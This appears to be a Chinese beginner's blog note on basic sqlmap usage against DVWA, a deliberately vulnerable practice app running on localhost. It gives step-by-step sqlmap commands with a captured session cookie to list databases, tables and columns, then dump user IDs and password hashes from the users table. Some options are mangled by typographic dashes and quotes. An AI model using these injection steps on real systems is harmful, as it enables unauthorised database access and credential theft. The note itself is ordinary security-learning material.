sqlmap基本用法

sqlmap基本用法
最近在学sql注入用法哦sqlmap ，so 大概学习了下
需要的攻击如下
python
sqlmap
burpsuite
dvwa

怎么安装搭配环境省略

1. dvwa中有个sql injection （首选等级选low）

2. 用burpsuit抓链接以及cookie

   

3. 打开sqlmap
   添加cookie=””
   –current-db:显示当前数据库名称
   -u:后跟注入链接url
   sqlmap.py -u“http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit”–cookie=”security=low; PHPSESSID=thjd3idiur5e1dce9tkogpait0” –current-db(显示当前数据库名)
   

4. 显示表
   sqlmap.py -u“http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit”–cookie=”security=low; PHPSESSID=thjd3idiur5e1dce9tkogpait0” -D dvwa –tables
   
   5.得到表的结构
   sqlmap.py -u“http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit”–cookie=”security=low; PHPSESSID=thjd3idiur5e1dce9tkogpait0” -D dvwa -T guestbook –columns
   分别得到两张表
   
   

5. 得到表的内容,制定需要显示的字段内容
   sqlmap.py -u“http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit”–cookie=”security=low; PHPSESSID=thjd3idiur5e1dce9tkogpait0” -D dvwa -T users -C user_id,password –dump
   
   注入完成，sqlmap会陆续更新>< 新手多多指教